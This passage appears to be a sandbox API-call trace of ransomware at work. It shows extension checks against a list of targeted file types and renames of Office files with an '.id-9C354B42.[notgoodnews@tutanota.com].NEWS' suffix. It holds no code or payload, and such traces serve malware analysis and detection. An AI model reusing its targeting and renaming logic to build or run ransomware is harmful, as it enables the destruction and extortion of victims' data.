(lpString1=".doc", lpString2=".DLL") returned 1 [0219.800] lstrlenW (lpString=".docx") returned 5 [0219.800] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0219.800] lstrlenW (lpString=".pdf") returned 4 [0219.800] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.800] lstrlenW (lpString=".xls") returned 4 [0219.800] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.800] lstrlenW (lpString=".xlsx") returned 5 [0219.800] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0219.800] lstrlenW (lpString=".ppt") returned 4 [0219.800] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.801] lstrlenW (lpString=".zip") returned 4 [0219.801] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.801] lstrlenW (lpString=".rar") returned 4 [0219.801] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.801] lstrlenW (lpString=".bz2") returned 4 [0219.801] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.801] lstrlenW (lpString=".7z") returned 3 [0219.801] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.801] lstrlenW (lpString=".dbf") returned 4 [0219.801] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.802] lstrlenW (lpString=".1cd") returned 4 [0219.802] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.802] lstrlenW (lpString=".jpg") returned 4 [0219.802] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.802] lstrlenW (lpString=".doc") returned 4 [0219.802] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.802] lstrlenW (lpString=".docx") returned 5 [0219.802] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0219.803] lstrlenW (lpString=".pdf") returned 4 [0219.803] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.803] lstrlenW (lpString=".xls") returned 4 [0219.803] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.803] lstrlenW (lpString=".xlsx") returned 5 [0219.803] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0219.803] lstrlenW (lpString=".ppt") returned 4 [0219.803] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.803] lstrlenW (lpString=".zip") returned 4 [0219.803] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.803] lstrlenW (lpString=".rar") returned 4 [0219.804] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.804] lstrlenW (lpString=".bz2") returned 4 [0219.804] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.804] lstrlenW (lpString=".7z") returned 3 [0219.804] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.804] lstrlenW (lpString=".dbf") returned 4 [0219.804] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.804] lstrlenW (lpString=".1cd") returned 4 [0219.804] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0219.805] lstrlenW (lpString=".jpg") returned 4 [0219.805] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.805] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.805] lstrlenW (lpString="OSPPC.DLL") returned 9 [0219.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.811] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=148736) returned 1 [0219.811] CloseHandle (hObject=0x324) returned 1 [0219.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll")) returned 0x20 [0219.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.812] lstrlenW (lpString=".doc") returned 4 [0219.812] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.813] lstrlenW (lpString=".docx") returned 5 [0219.813] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0219.813] lstrlenW (lpString=".pdf") returned 4 [0219.813] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.813] lstrlenW (lpString=".xls") returned 4 [0219.813] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.813] lstrlenW (lpString=".xlsx") returned 5 [0219.813] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0219.813] lstrlenW (lpString=".ppt") returned 4 [0219.813] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.813] lstrlenW (lpString=".zip") returned 4 [0219.813] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.814] lstrlenW (lpString=".rar") returned 4 [0219.814] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.814] lstrlenW (lpString=".bz2") returned 4 [0219.814] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.814] lstrlenW (lpString=".7z") returned 3 [0219.814] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.814] lstrlenW (lpString=".dbf") returned 4 [0219.814] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.814] lstrlenW (lpString=".1cd") returned 4 [0219.815] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.815] lstrlenW (lpString=".jpg") returned 4 [0219.815] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.815] lstrlenW (lpString=".doc") returned 4 [0219.815] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.815] lstrlenW (lpString=".docx") returned 5 [0219.815] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0219.815] lstrlenW (lpString=".pdf") returned 4 [0219.816] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.816] lstrlenW (lpString=".xls") returned 4 [0219.816] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.816] lstrlenW (lpString=".xlsx") returned 5 [0219.816] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0219.816] lstrlenW (lpString=".ppt") returned 4 [0219.816] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.816] lstrlenW (lpString=".zip") returned 4 [0219.816] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.816] lstrlenW (lpString=".rar") returned 4 [0219.816] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.817] lstrlenW (lpString=".bz2") returned 4 [0219.817] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.817] lstrlenW (lpString=".7z") returned 3 [0219.817] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.817] lstrlenW (lpString=".dbf") returned 4 [0219.817] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.817] lstrlenW (lpString=".1cd") returned 4 [0219.817] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL") returned 89 [0219.817] lstrlenW (lpString=".jpg") returned 4 [0219.818] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.818] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0219.818] lstrlenW (lpString="OSPPCEXT.DLL") returned 12 [0219.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.819] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=1828608) returned 1 [0219.819] CloseHandle (hObject=0x324) returned 1 [0219.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0x20 [0219.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0219.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.820] lstrlenW (lpString=".doc") returned 4 [0219.820] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.820] lstrlenW (lpString=".docx") returned 5 [0219.820] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0219.820] lstrlenW (lpString=".pdf") returned 4 [0219.820] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.820] lstrlenW (lpString=".xls") returned 4 [0219.820] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.821] lstrlenW (lpString=".xlsx") returned 5 [0219.821] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0219.821] lstrlenW (lpString=".ppt") returned 4 [0219.821] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.821] lstrlenW (lpString=".zip") returned 4 [0219.821] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.821] lstrlenW (lpString=".rar") returned 4 [0219.821] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.821] lstrlenW (lpString=".bz2") returned 4 [0219.821] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.821] lstrlenW (lpString=".7z") returned 3 [0219.822] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.822] lstrlenW (lpString=".dbf") returned 4 [0219.822] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.822] lstrlenW (lpString=".1cd") returned 4 [0219.822] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.822] lstrlenW (lpString=".jpg") returned 4 [0219.822] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.823] lstrlenW (lpString=".doc") returned 4 [0219.823] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0219.823] lstrlenW (lpString=".docx") returned 5 [0219.823] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0219.823] lstrlenW (lpString=".pdf") returned 4 [0219.823] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0219.823] lstrlenW (lpString=".xls") returned 4 [0219.823] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0219.823] lstrlenW (lpString=".xlsx") returned 5 [0219.823] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0219.823] lstrlenW (lpString=".ppt") returned 4 [0219.823] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0219.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.824] lstrlenW (lpString=".zip") returned 4 [0219.824] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0219.824] lstrlenW (lpString=".rar") returned 4 [0219.824] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0219.824] lstrlenW (lpString=".bz2") returned 4 [0219.824] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0219.824] lstrlenW (lpString=".7z") returned 3 [0219.824] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0219.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.824] lstrlenW (lpString=".dbf") returned 4 [0219.824] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0219.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.824] lstrlenW (lpString=".1cd") returned 4 [0219.825] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0219.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL") returned 92 [0219.825] lstrlenW (lpString=".jpg") returned 4 [0219.825] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0219.825] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0219.826] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42 [0219.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.826] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=11646) returned 1 [0219.826] CloseHandle (hObject=0x324) returned 1 [0219.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0219.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0219.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0219.827] lstrlenW (lpString=".doc") returned 4 [0219.827] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0219.827] lstrlenW (lpString=".docx") returned 5 [0219.827] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0219.827] lstrlenW (lpString=".pdf") returned 4 [0219.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0219.828] lstrlenW (lpString=".xls") returned 4 [0220.061] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0220.061] lstrlenW (lpString=".xlsx") returned 5 [0220.061] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0220.061] lstrlenW (lpString=".ppt") returned 4 [0220.062] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0220.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.063] lstrlenW (lpString=".zip") returned 4 [0220.063] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0220.063] lstrlenW (lpString=".rar") returned 4 [0220.063] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0220.063] lstrlenW (lpString=".bz2") returned 4 [0220.063] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0220.063] lstrlenW (lpString=".7z") returned 3 [0220.063] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0220.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.063] lstrlenW (lpString=".dbf") returned 4 [0220.064] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0220.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.064] lstrlenW (lpString=".1cd") returned 4 [0220.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0220.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.064] lstrlenW (lpString=".jpg") returned 4 [0220.064] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0220.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.064] lstrlenW (lpString=".doc") returned 4 [0220.064] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0220.064] lstrlenW (lpString=".docx") returned 5 [0220.064] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0220.064] lstrlenW (lpString=".pdf") returned 4 [0220.065] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0220.065] lstrlenW (lpString=".xls") returned 4 [0220.065] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0220.065] lstrlenW (lpString=".xlsx") returned 5 [0220.065] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0220.065] lstrlenW (lpString=".ppt") returned 4 [0220.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0220.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.065] lstrlenW (lpString=".zip") returned 4 [0220.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0220.065] lstrlenW (lpString=".rar") returned 4 [0220.065] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0220.065] lstrlenW (lpString=".bz2") returned 4 [0220.066] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0220.066] lstrlenW (lpString=".7z") returned 3 [0220.066] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0220.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.066] lstrlenW (lpString=".dbf") returned 4 [0220.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0220.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.066] lstrlenW (lpString=".1cd") returned 4 [0220.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0220.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 122 [0220.066] lstrlenW (lpString=".jpg") returned 4 [0220.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0220.067] lstrcmpiW (lpString1=".LEX", lpString2=".NEWS") returned -1 [0220.067] lstrlenW (lpString="MSWDS_ES.LEX") returned 12 [0220.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0220.554] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=395651) returned 1 [0220.554] CloseHandle (hObject=0x30c) returned 1 [0220.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0220.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0220.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0220.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 [0220.555] lstrlenW (lpString=".doc") returned 4 [0220.555] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0220.555] lstrlenW (lpString=".docx") returned 5 [0220.555] lstrcmpiW (lpString1=".docx", lpString2="S.LEX") returned -1 [0220.555] lstrlenW (lpString=".pdf") returned 4 [0220.555] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0220.555] lstrlenW (lpString=".xls") returned 4 [0220.555] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0220.555] lstrlenW (lpString=".xlsx") returned 5 [0220.555] lstrcmpiW (lpString1=".xlsx", lpString2="S.LEX") returned -1 [0220.556] lstrlenW (lpString=".ppt") returned 4 [0220.556] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0220.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned 65 